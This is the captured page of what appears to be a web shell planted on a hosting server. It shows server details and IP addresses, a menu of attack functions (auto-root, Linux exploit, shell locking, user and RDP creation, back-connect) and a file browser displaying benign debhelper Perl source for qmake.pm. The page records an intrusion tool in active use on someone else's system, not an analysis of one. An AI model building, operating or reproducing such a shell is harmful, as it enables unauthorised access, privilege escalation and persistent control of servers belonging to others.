Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.80.110
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Debian /
Debhelper /
Buildsystem /
[ HOME SHELL ]
Name
Size
Permission
Action
ant.pm
1.03
KB
-rw-r--r--
autoconf.pm
2.56
KB
-rw-r--r--
cmake.pm
5.55
KB
-rw-r--r--
makefile.pm
5.67
KB
-rw-r--r--
meson.pm
3.54
KB
-rw-r--r--
ninja.pm
1.68
KB
-rw-r--r--
perl_build.pm
2.25
KB
-rw-r--r--
perl_makemaker.pm
2.63
KB
-rw-r--r--
python_distutils.pm
5.45
KB
-rw-r--r--
qmake.pm
2.44
KB
-rw-r--r--
qmake_qt4.pm
220
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : qmake.pm
# A debhelper build system class for Qt projects # (based on the makefile class). # # Copyright: © 2010 Kelvin Modderman # License: GPL-2+ package Debian::Debhelper::Buildsystem::qmake; use strict; use warnings; use Debian::Debhelper::Dh_Lib qw(dpkg_architecture_value error is_cross_compiling); use parent qw(Debian::Debhelper::Buildsystem::makefile); my %OS_MKSPEC_MAPPING = ( 'linux' => 'linux-g++', 'kfreebsd' => 'gnukfreebsd-g++', 'hurd' => 'hurd-g++', ); sub DESCRIPTION { "qmake (*.pro)"; } sub check_auto_buildable { my $this=shift; my @projects=glob($this->get_sourcepath('*.pro')); my $ret=0; if (@projects > 0) { $ret=1; # Existence of a Makefile generated by qmake indicates qmake # class has already been used by a prior build step, so should # be used instead of the parent makefile class. my $mf=$this->get_buildpath("Makefile"); if (-e $mf) { $ret = $this->SUPER::check_auto_buildable(@_); open(my $fh, '<', $mf) or error("unable to open Makefile: $mf"); while(<$fh>) { if (m/^# Generated by qmake/i) { $ret++; last; } } close($fh); } } return $ret; } sub configure { my $this=shift; my @options; my @flags; push @options, '-makefile'; if (is_cross_compiling()) { my $host_os = dpkg_architecture_value("DEB_HOST_ARCH_OS"); if (defined(my $spec = $OS_MKSPEC_MAPPING{$host_os})) { push(@options, "-spec", $spec); } else { error("Cannot cross-compile: Missing entry for HOST OS ${host_os} for qmake's -spec option"); } } if ($ENV{CFLAGS}) { push @flags, "QMAKE_CFLAGS_RELEASE=$ENV{CFLAGS} $ENV{CPPFLAGS}"; push @flags, "QMAKE_CFLAGS_DEBUG=$ENV{CFLAGS} $ENV{CPPFLAGS}"; } if ($ENV{CXXFLAGS}) { push @flags, "QMAKE_CXXFLAGS_RELEASE=$ENV{CXXFLAGS} $ENV{CPPFLAGS}"; push @flags, "QMAKE_CXXFLAGS_DEBUG=$ENV{CXXFLAGS} $ENV{CPPFLAGS}"; } if ($ENV{LDFLAGS}) { push @flags, "QMAKE_LFLAGS_RELEASE=$ENV{LDFLAGS}"; push @flags, "QMAKE_LFLAGS_DEBUG=$ENV{LDFLAGS}"; } push @flags, "QMAKE_STRIP=:"; push @flags, "PREFIX=/usr"; $this->mkdir_builddir(); $this->doit_in_builddir($this->_qmake(), @options, @flags, @_); } sub install { my $this=shift; my $destdir=shift; # qmake generated Makefiles use INSTALL_ROOT in install target # where one would expect DESTDIR to be used. $this->SUPER::install($destdir, "INSTALL_ROOT=$destdir", @_); } sub _qmake { if (is_cross_compiling()) { return dpkg_architecture_value("DEB_HOST_GNU_TYPE") . "-qmake"; } return 'qmake'; } 1
Close